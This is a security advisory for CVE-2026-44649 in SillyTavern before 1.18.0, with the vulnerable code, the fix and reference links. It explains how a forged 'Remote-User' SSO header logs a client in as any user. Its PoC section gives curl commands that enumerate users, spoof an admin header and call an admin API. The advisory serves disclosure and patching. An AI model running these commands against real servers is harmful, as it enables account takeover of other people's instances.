CVE-2026-44649

描述

## Resolution SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs. Documentation: https://docs.sillytavern.app/administration/sso/ ## Summary SillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or `sso.authentikAuth: true` is set in `config.yaml` (both default to `false`). ### Detials SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the `tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`, which reads an HTTP header set by the upstream proxy and automatically creates an authenticated session for the matching user: `src/users.js:779-801`: ```js async function headerUserLogin(request, header = 'Remote-User') { if (!request.session) { return false; } const remoteUser = request.get(header); // reads any header from any client if (!remoteUser) { return false; } const userHandles = await getAllUserHandles(); for (const userHandle of userHandles) { if (remoteUser.toLowerCase() === userHandle) { const user = await storage.getItem(toKey(userHandle)); if (user && user.enabled) { request.session.handle = userHandle; return true; } } } return false; } ``` `request.get(header)` is Express's wrapper for `req.headers[name.toLowerCase()]`. Express does not distinguish between headers set by a trusted upstream proxy and headers injected by the end client. Without an IP allowlist check, any client can set `Remote-User: ` and receive an authenticated session cookie. ### User Enumeration Pre-Condition The `/api/users/list` endpoint is registered before `requireLoginMiddleware` in `src/server-main.js:236`, making it publicly accessible without authentication: `src/server-main.js:236,239`: ```js app.use('/api/users', usersPublicRouter); // line 236 (public) app.use(requireLoginMiddleware); // line 239 (auth gate) ``` `src/endpoints/users-public.js:26-57`: ```js router.post('/list', async (_request, response) => { if (DISCREET_LOGIN) { return response.sendStatus(204); } const users = await storage.values(x => x.key.startsWith(KEY_PREFIX)); return response.json(viewModels); // returns handle, name, avatar, admin, password flags }); ``` This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials. ## PoC ```bash TARGET="http://localhost:8000" # enumerate users curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}' # inject Remote-User header, receive authsession curl -s -L \ -H "Remote-User: admin-user" \ -c /tmp/st-session.txt \ "$TARGET/login" # obtain CSRF token, call admin API TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") curl -s -X POST "$TARGET/api/users/admin/get" \ -H "Content-Type: application/json" \ -H "X-CSRF-Token: $TOKEN" \ -b /tmp/st-session.txt \ -d '{}' ``` --- ## Impact An account takeover, allowing an attacker to do anything a legitimately authorized user can do.

受影響套件(1)

• npm/sillytavernfrom 0, < 1.18.0

CVSS 分數

參考連結(3)

• PATCHhttps://github.com/SillyTavern/SillyTavern
• WEBhttps://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0
• WEBhttps://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh